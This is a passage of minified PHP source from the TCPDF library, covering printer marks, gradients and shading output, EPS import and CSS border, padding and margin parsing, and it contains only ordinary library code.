setCellHeightRatio($h){$this->cell_height_ratio=$h;} function getCellHeightRatio(){return $this->cell_height_ratio;} function setPDFVersion($version='1.7'){if($this->pdfa_mode){$this->PDFVersion='1.4';}else {$this->PDFVersion=$version;}} function setViewerPreferences($preferences){$this->viewer_preferences=$preferences;} function colorRegistrationBar($x,$y,$w,$h,$transition=true,$vertical=false,$colors='A,R,G,B,C,M,Y,K'){if(strpos($colors,'ALLSPOT')!==false){$spot_colors='';foreach($this->spot_colors as $spot_color_name=>$v){$spot_colors.=','.$spot_color_name;}if(!empty($spot_colors)){$spot_colors=substr($spot_colors,1);$colors=str_replace('ALLSPOT',$spot_colors,$colors);}else {$colors=str_replace('ALLSPOT','NONE',$colors);}}$bars=explode(',',$colors);$numbars=count($bars);if($numbars<=0){return;}if($vertical){$coords=array(0,0,0,1);$wb=$w/$numbars;$hb=$h;$xd=$wb;$yd=0;}else {$coords=array(1,0,0,0);$wb=$w;$hb=$h/$numbars;$xd=0;$yd=$hb;}$xb=$x;$yb=$y;foreach($bars as $col){switch($col){case 'A':{$col_a=array(255);$col_b=array(0);break;}case 'W':{$col_a=array(0);$col_b=array(255);break;}case 'R':{$col_a=array(255,255,255);$col_b=array(255,0,0);break;}case 'G':{$col_a=array(255,255,255);$col_b=array(0,255,0);break;}case 'B':{$col_a=array(255,255,255);$col_b=array(0,0,255);break;}case 'C':{$col_a=array(0,0,0,0);$col_b=array(100,0,0,0);break;}case 'M':{$col_a=array(0,0,0,0);$col_b=array(0,100,0,0);break;}case 'Y':{$col_a=array(0,0,0,0);$col_b=array(0,0,100,0);break;}case 'K':{$col_a=array(0,0,0,0);$col_b=array(0,0,0,100);break;}case 'RGB':{$col_a=array(255,255,255);$col_b=array(0,0,0);break;}case 'CMYK':{$col_a=array(0,0,0,0);$col_b=array(100,100,100,100);break;}case 'ALL':{$col_a=array(0,0,0,0,'None');$col_b=array(100,100,100,100,'All');break;}case 'NONE':{$col_a=array(0,0,0,0,'None');$col_b=array(0,0,0,0,'None');break;}default:{$col_a=array(0,0,0,0,'None');$col_b=TCPDF_COLORS::getSpotColor($col,$this->spot_colors);if($col_b===false){$col_b=array(100,100,100,100,'All');}break;}}if($col!='NONE'){if($transition){$this->LinearGradient($xb,$yb,$wb,$hb,$col_a,$col_b,$coords);}else {$this->SetFillColorArray($col_b);$this->Rect($xb,$yb,$wb,$hb,'F',array());}$xb+=$xd;$yb+=$yd;}}} function cropMark($x,$y,$w,$h,$type='T,R,B,L',$color=array(100,100,100,100,'All')){$this->SetLineStyle(array('width'=>(0.5/$this->k),'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$color));$type=strtoupper($type);$type=preg_replace('/[^A-Z\-\,]*/','',$type);$type=str_replace('-',',',$type);$type=str_replace('TL','T,L',$type);$type=str_replace('TR','T,R',$type);$type=str_replace('BL','F,L',$type);$type=str_replace('BR','F,R',$type);$type=str_replace('A','T,L',$type);$type=str_replace('B','T,R',$type);$type=str_replace('T,RO','BO',$type);$type=str_replace('C','F,L',$type);$type=str_replace('D','F,R',$type);$crops=explode(',',strtoupper($type));$crops=array_unique($crops);$dw=($w/4);$dh=($h/4);foreach($crops as $crop){switch($crop){case 'T':case 'TOP':{$x1=$x;$y1=($y-$h);$x2=$x;$y2=($y-$dh);break;}case 'F':case 'BOTTOM':{$x1=$x;$y1=($y+$dh);$x2=$x;$y2=($y+$h);break;}case 'L':case 'LEFT':{$x1=($x-$w);$y1=$y;$x2=($x-$dw);$y2=$y;break;}case 'R':case 'RIGHT':{$x1=($x+$dw);$y1=$y;$x2=($x+$w);$y2=$y;break;}}$this->Line($x1,$y1,$x2,$y2);}} function registrationMark($x,$y,$r,$double=false,$cola=array(100,100,100,100,'All'),$colb=array(0,0,0,0,'None')){$line_style=array('width'=>max((0.5/$this->k),($r/30)),'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$cola);$this->SetFillColorArray($cola);$this->PieSector($x,$y,$r,90,180,'F');$this->PieSector($x,$y,$r,270,360,'F');$this->Circle($x,$y,$r,0,360,'C',$line_style,array(),8);if($double){$ri=$r*0.5;$this->SetFillColorArray($colb);$this->PieSector($x,$y,$ri,90,180,'F');$this->PieSector($x,$y,$ri,270,360,'F');$this->SetFillColorArray($cola);$this->PieSector($x,$y,$ri,0,90,'F');$this->PieSector($x,$y,$ri,180,270,'F');$this->Circle($x,$y,$ri,0,360,'C',$line_style,array(),8);}} function registrationMarkCMYK($x,$y,$r){$lw=max((0.5/$this->k),($r/8));$ri=($r*0.6);$re=($r*1.3);$this->SetFillColorArray(array(100,0,0,0));$this->PieSector($x,$y,$ri,270,360,'F');$this->SetFillColorArray(array(0,100,0,0));$this->PieSector($x,$y,$ri,0,90,'F');$this->SetFillColorArray(array(0,0,100,0));$this->PieSector($x,$y,$ri,90,180,'F');$this->SetFillColorArray(array(0,0,0,100));$this->PieSector($x,$y,$ri,180,270,'F');$line_style=array('width'=>$lw,'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>array(100,100,100,100,'All'));$this->SetFillColorArray(array(100,100,100,100,'All'));$this->Circle($x,$y,$r,0,360,'C',$line_style,array(),8);$this->Line($x,($y-$re),$x,($y-$ri));$this->Line($x,($y+$ri),$x,($y+$re));$this->Line(($x-$re),$y,($x-$ri),$y);$this->Line(($x+$ri),$y,($x+$re),$y);} function LinearGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0,0,1,0)){$this->Clip($x,$y,$w,$h);$this->Gradient(2,$coords,array(array('color'=>$col1,'offset'=>0,'exponent'=>1),array('color'=>$col2,'offset'=>1,'exponent'=>1)),array(),false);} function RadialGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0.5,0.5,0.5,0.5,1)){$this->Clip($x,$y,$w,$h);$this->Gradient(3,$coords,array(array('color'=>$col1,'offset'=>0,'exponent'=>1),array('color'=>$col2,'offset'=>1,'exponent'=>1)),array(),false);} function CoonsPatchMesh($x,$y,$w,$h,$col1=array(),$col2=array(),$col3=array(),$col4=array(),$coords=array(0.00,0.0,0.33,0.00,0.67,0.00,1.00,0.00,1.00,0.33,1.00,0.67,1.00,1.00,0.67,1.00,0.33,1.00,0.00,1.00,0.00,0.67,0.00,0.33),$coords_min=0,$coords_max=1,$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->Clip($x,$y,$w,$h);$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n]['type']=6;$this->gradients[$n]['coords']=array();$this->gradients[$n]['antialias']=$antialias;$this->gradients[$n]['colors']=array();$this->gradients[$n]['transparency']=false;if(!isset($coords[0]['f'])){if(!isset($col1[1])){$col1[1]=$col1[2]=$col1[0];}if(!isset($col2[1])){$col2[1]=$col2[2]=$col2[0];}if(!isset($col3[1])){$col3[1]=$col3[2]=$col3[0];}if(!isset($col4[1])){$col4[1]=$col4[2]=$col4[0];}$patch_array[0]['f']=0;$patch_array[0]['points']=$coords;$patch_array[0]['colors'][0]['r']=$col1[0];$patch_array[0]['colors'][0]['g']=$col1[1];$patch_array[0]['colors'][0]['b']=$col1[2];$patch_array[0]['colors'][1]['r']=$col2[0];$patch_array[0]['colors'][1]['g']=$col2[1];$patch_array[0]['colors'][1]['b']=$col2[2];$patch_array[0]['colors'][2]['r']=$col3[0];$patch_array[0]['colors'][2]['g']=$col3[1];$patch_array[0]['colors'][2]['b']=$col3[2];$patch_array[0]['colors'][3]['r']=$col4[0];$patch_array[0]['colors'][3]['g']=$col4[1];$patch_array[0]['colors'][3]['b']=$col4[2];}else {$patch_array=$coords;}$bpcd=65535;$this->gradients[$n]['stream']='';$count_patch=count($patch_array);for($i=0;$i<$count_patch;++$i){$this->gradients[$n]['stream'].=chr($patch_array[$i]['f']);$count_points=count($patch_array[$i]['points']);for($j=0;$j<$count_points;++$j){$patch_array[$i]['points'][$j]=(($patch_array[$i]['points'][$j]-$coords_min)/($coords_max-$coords_min))*$bpcd;if($patch_array[$i]['points'][$j]<0){$patch_array[$i]['points'][$j]=0;}if($patch_array[$i]['points'][$j]>$bpcd){$patch_array[$i]['points'][$j]=$bpcd;}$this->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j]/256));$this->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j]%256));}$count_cols=count($patch_array[$i]['colors']);for($j=0;$j<$count_cols;++$j){$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['r']);$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['g']);$this->gradients[$n]['stream'].=chr($patch_array[$i]['colors'][$j]['b']);}}$this->_out('/Sh'.$n.' sh');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['gradients'][$n]=$this->gradients[$n];}} function Clip($x,$y,$w,$h){if($this->state!=2){return;}if($this->rtl){$x=$this->w-$x-$w;}$s='q';$s.=sprintf(' %F %F %F %F re W n',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k);$s.=sprintf(' %F 0 0 %F %F %F cm',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k);$this->_out($s);} function Gradient($type,$coords,$stops,$background=array(),$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n]['type']=$type;$this->gradients[$n]['coords']=$coords;$this->gradients[$n]['antialias']=$antialias;$this->gradients[$n]['colors']=array();$this->gradients[$n]['transparency']=false;$numcolspace=count($stops[0]['color']);$bcolor=array_values($background);switch($numcolspace){case 5:case 4:{$this->gradients[$n]['colspace']='DeviceCMYK';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F %F %F %F',$bcolor[0]/100,$bcolor[1]/100,$bcolor[2]/100,$bcolor[3]/100);}break;}case 3:{$this->gradients[$n]['colspace']='DeviceRGB';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F %F %F',$bcolor[0]/255,$bcolor[1]/255,$bcolor[2]/255);}break;}case 1:{$this->gradients[$n]['colspace']='DeviceGray';if(!empty($background)){$this->gradients[$n]['background']=sprintf('%F',$bcolor[0]/255);}break;}}$num_stops=count($stops);$last_stop_id=$num_stops-1;foreach($stops as $key=>$stop){$this->gradients[$n]['colors'][$key]=array();if(isset($stop['offset'])){$this->gradients[$n]['colors'][$key]['offset']=$stop['offset'];}else {if($key==0){$this->gradients[$n]['colors'][$key]['offset']=0;}elseif($key==$last_stop_id){$this->gradients[$n]['colors'][$key]['offset']=1;}else {$offsetstep=(1-$this->gradients[$n]['colors'][($key-1)]['offset'])/($num_stops-$key);$this->gradients[$n]['colors'][$key]['offset']=$this->gradients[$n]['colors'][($key-1)]['offset']+$offsetstep;}}if(isset($stop['opacity'])){$this->gradients[$n]['colors'][$key]['opacity']=$stop['opacity'];if((!$this->pdfa_mode) AND ($stop['opacity']<1)){$this->gradients[$n]['transparency']=true;}}else {$this->gradients[$n]['colors'][$key]['opacity']=1;}if(isset($stop['exponent'])){$this->gradients[$n]['colors'][$key]['exponent']=$stop['exponent'];}else {$this->gradients[$n]['colors'][$key]['exponent']=1;}$color=array_values($stop['color']);switch($numcolspace){case 5:case 4:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F %F %F %F',$color[0]/100,$color[1]/100,$color[2]/100,$color[3]/100);break;}case 3:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F %F %F',$color[0]/255,$color[1]/255,$color[2]/255);break;}case 1:{$this->gradients[$n]['colors'][$key]['color']=sprintf('%F',$color[0]/255);break;}}}if($this->gradients[$n]['transparency']){$this->_out('/TGS'.$n.' gs');}$this->_out('/Sh'.$n.' sh');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['gradients'][$n]=$this->gradients[$n];}}function _putshaders(){if($this->pdfa_mode){return;}$idt=count($this->gradients);foreach($this->gradients as $id=>$grad){if(($grad['type']==2) OR ($grad['type']==3)){$fc=$this->_newobj();$out='<<';$out.=' /FunctionType 3';$out.=' /Domain [0 1]';$functions='';$bounds='';$encode='';$i=1;$num_cols=count($grad['colors']);$lastcols=$num_cols-1;for($i=1;$i<$num_cols;++$i){$functions.=($fc+$i).' 0 R ';if($i<$lastcols){$bounds.=sprintf('%F ',$grad['colors'][$i]['offset']);}$encode.='0 1 ';}$out.=' /Functions ['.trim($functions).']';$out.=' /Bounds ['.trim($bounds).']';$out.=' /Encode ['.trim($encode).']';$out.=' >>';$out.="
".'endobj';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out='<<';$out.=' /FunctionType 2';$out.=' /Domain [0 1]';$out.=' /C0 ['.$grad['colors'][($i-1)]['color'].']';$out.=' /C1 ['.$grad['colors'][$i]['color'].']';$out.=' /N '.$grad['colors'][$i]['exponent'];$out.=' >>';$out.="
".'endobj';$this->_out($out);}if($grad['transparency']){$ft=$this->_newobj();$out='<<';$out.=' /FunctionType 3';$out.=' /Domain [0 1]';$functions='';$i=1;$num_cols=count($grad['colors']);for($i=1;$i<$num_cols;++$i){$functions.=($ft+$i).' 0 R ';}$out.=' /Functions ['.trim($functions).']';$out.=' /Bounds ['.trim($bounds).']';$out.=' /Encode ['.trim($encode).']';$out.=' >>';$out.="
".'endobj';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out='<<';$out.=' /FunctionType 2';$out.=' /Domain [0 1]';$out.=' /C0 ['.$grad['colors'][($i-1)]['opacity'].']';$out.=' /C1 ['.$grad['colors'][$i]['opacity'].']';$out.=' /N '.$grad['colors'][$i]['exponent'];$out.=' >>';$out.="
".'endobj';$this->_out($out);}}}$this->_newobj();$out='<< /ShadingType '.$grad['type'];if(isset($grad['colspace'])){$out.=' /ColorSpace /'.$grad['colspace'];}else {$out.=' /ColorSpace /DeviceRGB';}if(isset($grad['background']) AND !empty($grad['background'])){$out.=' /Background ['.$grad['background'].']';}if(isset($grad['antialias']) AND ($grad['antialias']===true)){$out.=' /AntiAlias true';}if($grad['type']==2){$out.=' '.sprintf('/Coords [%F %F %F %F]',$grad['coords'][0],$grad['coords'][1],$grad['coords'][2],$grad['coords'][3]);$out.=' /Domain [0 1]';$out.=' /Function '.$fc.' 0 R';$out.=' /Extend [true true]';$out.=' >>';}elseif($grad['type']==3){$out.=' '.sprintf('/Coords [%F %F 0 %F %F %F]',$grad['coords'][0],$grad['coords'][1],$grad['coords'][2],$grad['coords'][3],$grad['coords'][4]);$out.=' /Domain [0 1]';$out.=' /Function '.$fc.' 0 R';$out.=' /Extend [true true]';$out.=' >>';}elseif($grad['type']==6){$out.=' /BitsPerCoordinate 16';$out.=' /BitsPerComponent 8';$out.=' /Decode[0 1 0 1 0 1 0 1 0 1]';$out.=' /BitsPerFlag 8';$stream=$this->_getrawstream($grad['stream']);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';}$out.="
".'endobj';$this->_out($out);if($grad['transparency']){$shading_transparency=preg_replace('/\/ColorSpace \/[^\s]+/si','/ColorSpace /DeviceGray',$out);$shading_transparency=preg_replace('/\/Function [0-9]+ /si','/Function '.$ft.' ',$shading_transparency);}$this->gradients[$id]['id']=$this->n;$this->_newobj();$out='<< /Type /Pattern /PatternType 2';$out.=' /Shading '.$this->gradients[$id]['id'].' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->gradients[$id]['pattern']=$this->n;if($grad['transparency']){$idgs=$id+$idt;$this->_newobj();$this->_out($shading_transparency);$this->gradients[$idgs]['id']=$this->n;$this->_newobj();$out='<< /Type /Pattern /PatternType 2';$out.=' /Shading '.$this->gradients[$idgs]['id'].' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->gradients[$idgs]['pattern']=$this->n;$oid=$this->_newobj();$this->xobjects['LX'.$oid]=array('n'=>$oid);$filter='';$stream='q /a0 gs /Pattern cs /p'.$idgs.' scn 0 0 '.$this->wPt.' '.$this->hPt.' re f Q';if($this->compress){$filter=' /Filter /FlateDecode';$stream=gzcompress($stream);}$stream=$this->_getrawstream($stream);$out='<< /Type /XObject /Subtype /Form /FormType 1'.$filter;$out.=' /Length '.strlen($stream);$rect=sprintf('%F %F',$this->wPt,$this->hPt);$out.=' /BBox [0 0 '.$rect.']';$out.=' /Group << /Type /Group /S /Transparency /CS /DeviceGray >>';$out.=' /Resources <<';$out.=' /ExtGState << /a0 << /ca 1 /CA 1 >> >>';$out.=' /Pattern << /p'.$idgs.' '.$this->gradients[$idgs]['pattern'].' 0 R >>';$out.=' >>';$out.=' >> ';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /Mask /S /Luminosity /G '.($this->n-1).' 0 R >>'."
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /ExtGState /SMask '.($this->n-1).' 0 R /AIS false >>'."
".'endobj';$this->_out($out);$this->extgstates[]=array('n'=>$this->n,'name'=>'TGS'.$id);}}} function PieSector($xc,$yc,$r,$a,$b,$style='FD',$cw=true,$o=90){$this->PieSectorXY($xc,$yc,$r,$r,$a,$b,$style,$cw,$o);} function PieSectorXY($xc,$yc,$rx,$ry,$a,$b,$style='FD',$cw=false,$o=0,$nc=2){if($this->state!=2){return;}if($this->rtl){$xc=($this->w-$xc);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($cw){$d=$b;$b=(360-$a+$o);$a=(360-$d+$o);}else {$b+=$o;$a+=$o;}$this->_outellipticalarc($xc,$yc,$rx,$ry,0,$a,$b,true,$nc);$this->_out($op);} function ImageEps($file,$x='',$y='',$w=0,$h=0,$link='',$useBoundingBox=true,$align='',$palign='',$border=0,$fitonpage=false,$fixoutvals=false){if($this->state!=2){return;}if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,'EPS',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;if($file[0]==='@'){$data=substr($file,1);}else {$data=TCPDF_STATIC::fileGetContents($file);}if($data===FALSE){$this->Error('EPS file not found: '.$file);}$regs=array();preg_match("/%%Creator:([^
]+)/",$data,$regs);if(count($regs)>1){$version_str=trim($regs[1]);if(strpos($version_str,'Adobe Illustrator')!==false){$versexp=explode(' ',$version_str);$version=(float)array_pop($versexp);if($version>=9){$this->Error('This version of Adobe Illustrator file is not supported: '.$file);}}}$start=strpos($data,'%!PS-Adobe');if($start>0){$data=substr($data,$start);}preg_match("/%%BoundingBox:([^
]+)/",$data,$regs);if(count($regs)>1){list($x1,$y1,$x2,$y2)=explode(' ',trim($regs[1]));}else {$this->Error('No BoundingBox found in EPS/AI file: '.$file);}$start=strpos($data,'%%EndSetup');if($start===false){$start=strpos($data,'%%EndProlog');}if($start===false){$start=strpos($data,'%%BoundingBox');}$data=substr($data,$start);$end=strpos($data,'%%PageTrailer');if($end===false){$end=strpos($data,'showpage');}if($end){$data=substr($data,0,$end);}if(($w<=0) AND ($h<=0)){$w=($x2-$x1)/$k;$h=($y2-$y1)/$k;}elseif($w<=0){$w=($x2-$x1)/$k*($h/(($y2-$y1)/$k));}elseif($h<=0){$h=($y2-$y1)/$k*($w/(($x2-$x1)/$k));}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,'EPS',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}$scale_x=$w/(($x2-$x1)/$k);$scale_y=$h/(($y2-$y1)/$k);$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($useBoundingBox){$dx=$ximg*$k-$x1;$dy=$y*$k-$y1;}else {$dx=$ximg*$k;$dy=$y*$k;}$this->_out('q'.$this->epsmarker);$this->_out(sprintf('%F %F %F %F %F %F cm',1,0,0,1,$dx,$dy+($this->hPt-(2*$y*$k)-($y2-$y1))));if(isset($scale_x)){$this->_out(sprintf('%F %F %F %F %F %F cm',$scale_x,0,0,$scale_y,$x1*(1-$scale_x),$y2*(1-$scale_y)));}$lines=preg_split('/[
]+/si',$data,-1,PREG_SPLIT_NO_EMPTY);$u=0;$cnt=count($lines);for($i=0;$i<$cnt;++$i){$line=$lines[$i];if(($line=='') OR ($line[0]=='%')){continue;}$len=strlen($line);$color_name='';if(strcasecmp('x',substr(trim($line),-1))==0){if(preg_match('/\([^\)]*\)/',$line,$matches)>0){$color_name=$matches[0];$line=str_replace(' '.$color_name,'',$line);$color_name=substr($color_name,1,-1);}}$chunks=explode(' ',$line);$cmd=trim(array_pop($chunks));if(($cmd=='Xa') OR ($cmd=='XA')){$b=array_pop($chunks);$g=array_pop($chunks);$r=array_pop($chunks);$this->_out(''.$r.' '.$g.' '.$b.' '.($cmd=='Xa'?'rg':'RG'));continue;}$skip=false;if($fixoutvals){switch($cmd){case 'm':case 'l':case 'L':{foreach($chunks as $key=>$val){if((($key%2)==0) AND (($val<$x1) OR ($val>$x2))){$skip=true;}elseif((($key%2)!=0) AND (($val<$y1) OR ($val>$y2))){$skip=true;}}}}}switch($cmd){case 'm':case 'l':case 'v':case 'y':case 'c':case 'k':case 'K':case 'g':case 'G':case 's':case 'S':case 'J':case 'j':case 'w':case 'M':case 'd':case 'n':{if($skip){break;}$this->_out($line);break;}case 'x':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' k');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf('/CS%d cs %F scn',$this->spot_colors[$color_name]['i'],(1-$col_t));$this->_out($color_cmd);}break;}case 'X':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' K');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf('/CS%d CS %F SCN',$this->spot_colors[$color_name]['i'],(1-$col_t));$this->_out($color_cmd);}break;}case 'Y':case 'N':case 'V':case 'L':case 'C':{if($skip){break;}$line[($len-1)]=strtolower($cmd);$this->_out($line);break;}case 'b':case 'B':{$this->_out($cmd.'*');break;}case 'f':case 'F':{if($u>0){$isU=false;$max=min(($i+5),$cnt);for($j=($i+1);$j<$max;++$j){$isU=($isU OR (($lines[$j]=='U') OR ($lines[$j]=='*U')));}if($isU){$this->_out('f*');}}else {$this->_out('f*');}break;}case '*u':{++$u;break;}case '*U':{--$u;break;}}}$this->_out($this->epsmarker.'Q');if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;} function getMargins(){$ret=array('left'=>$this->lMargin,'right'=>$this->rMargin,'top'=>$this->tMargin,'bottom'=>$this->bMargin,'header'=>$this->header_margin,'footer'=>$this->footer_margin,'cell'=>$this->cell_padding,'padding_left'=>$this->cell_padding['L'],'padding_top'=>$this->cell_padding['T'],'padding_right'=>$this->cell_padding['R'],'padding_bottom'=>$this->cell_padding['B']);return $ret;} function getOriginalMargins(){$ret=array('left'=>$this->original_lMargin,'right'=>$this->original_rMargin);return $ret;} function getFontSize(){return $this->FontSize;} function getFontSizePt(){return $this->FontSizePt;} function getFontFamily(){return $this->FontFamily;} function getFontStyle(){return $this->FontStyle;} function fixHTMLCode($html,$default_css='',$tagvs='',$tidy_options=''){return TCPDF_STATIC::fixHTMLCode($html,$default_css,$tagvs,$tidy_options,$this->tagvspaces);} function getCSSBorderWidth($width){if($width=='thin'){$width=(2/$this->k);}elseif($width=='medium'){$width=(4/$this->k);}elseif($width=='thick'){$width=(6/$this->k);}else {$width=$this->getHTMLUnitToUnits($width,1,'px',false);}return $width;} function getCSSBorderDashStyle($style){switch(strtolower($style)){case 'none':case 'hidden':{$dash=-1;break;}case 'dotted':{$dash=1;break;}case 'dashed':{$dash=3;break;}case 'double':case 'groove':case 'ridge':case 'inset':case 'outset':case 'solid':default:{$dash=0;break;}}return $dash;} function getCSSBorderStyle($cssborder){$bprop=preg_split('/[\s]+/',trim($cssborder));$border=array();switch(count($bprop)){case 3:{$width=$bprop[0];$style=$bprop[1];$color=$bprop[2];break;}case 2:{$width='medium';$style=$bprop[0];$color=$bprop[1];break;}case 1:{$width='medium';$style=$bprop[0];$color='black';break;}default:{$width='medium';$style='solid';$color='black';break;}}if($style=='none'){return array();}$border['cap']='square';$border['join']='miter';$border['dash']=$this->getCSSBorderDashStyle($style);if($border['dash']<0){return array();}$border['width']=$this->getCSSBorderWidth($width);$border['color']=TCPDF_COLORS::convertHTMLColorToDec($color,$this->spot_colors);return $border;} function getCSSPadding($csspadding,$width=0){$padding=preg_split('/[\s]+/',trim($csspadding));$cell_padding=array();switch(count($padding)){case 4:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[2];$cell_padding['L']=$padding[3];break;}case 3:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[2];$cell_padding['L']=$padding[1];break;}case 2:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[1];$cell_padding['B']=$padding[0];$cell_padding['L']=$padding[1];break;}case 1:{$cell_padding['T']=$padding[0];$cell_padding['R']=$padding[0];$cell_padding['B']=$padding[0];$cell_padding['L']=$padding[0];break;}default:{return $this->cell_padding;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_padding['T']=$this->getHTMLUnitToUnits($cell_padding['T'],$width,'px',false);$cell_padding['R']=$this->getHTMLUnitToUnits($cell_padding['R'],$width,'px',false);$cell_padding['B']=$this->getHTMLUnitToUnits($cell_padding['B'],$width,'px',false);$cell_padding['L']=$this->getHTMLUnitToUnits($cell_padding['L'],$width,'px',false);return $cell_padding;} function getCSSMargin($cssmargin,$width=0){$margin=preg_split('/[\s]+/',trim($cssmargin));$cell_margin=array();switch(count($margin)){case 4:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[2];$cell_margin['L']=$margin[3];break;}case 3:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[2];$cell_margin['L']=$margin[1];break;}case 2:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[1];$cell_margin['B']=$margin[0];$cell_margin['L']=$margin[1];break;}case 1:{$cell_margin['T']=$margin[0];$cell_margin['R']=$margin[0];$cell_margin['B']=$margin[0];$cell_margin['L']=$margin[0];break;}default:{return $this->cell_margin;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_margin['T']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['T']),$width,'px',false);$cell_margin['R']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['R']),$width,'px',false);$cell_margin['B']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['B']),$width,'px',false);$cell_margin['L']=$this->getHTMLUnitToUnits(str_replace('auto','0',$cell_margin['L']),$width,'px',false);return $cell_margin;} function getCSSBorderMargin($cssbspace,$width=0){$space=preg_split('/[\s]+/',trim($cssbspace));$border_spacing=array();switch(count($space)){case 2:{$border_spacing['H']=$space[0];$border_spacing['V']=$space[1];break;}case 1:{$border_spacing['H']=$space[0];$border_spacing['V']=$space[0];break;}default:{return array('H'=>0,'V'=>0);}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$border_spacing['H']=$this->getHTMLUnitToUnits($border_spacing['H'],$width,'px',false);$border_spacing['V']=$this->getHTMLUnitToUnits($border_spacing['V'],$width,'px',false);return $border_spacing;} function getCSSFontSpacing($spacing,$parent=0){$val=0;$spacing=trim($spacing);switch($spacing){case 'normal':{$val=0;break;}case 'inherit':{if($parent=='normal'){$val=0;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($spacing,0,'px',false);}}return $val;} function getCSSFontStretching($stretch,$parent=100){$val=100;$stretch=trim($stretch);switch($stretch){case 'ultra-condensed':{$val=40;break;}case 'extra-condensed':{$val=55;break;}case 'condensed':{$val=70;break;}case 'semi-condensed':{$val=85;break;}case 'normal':{$val=100;break;}case 'semi-expanded':{$val=115;break;}case 'expanded':{$val=130;break;}case 'extra-expanded':{$val=145;break;}case 'ultra-expanded':{$val=160;break;}case 'wider':{$val=($parent+10);break;}case 'narrower':{$val=($parent-10);break;}case 'inherit':{if($parent=='normal'){$val=100;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($stretch,100,'%',false);}}return $val;} function 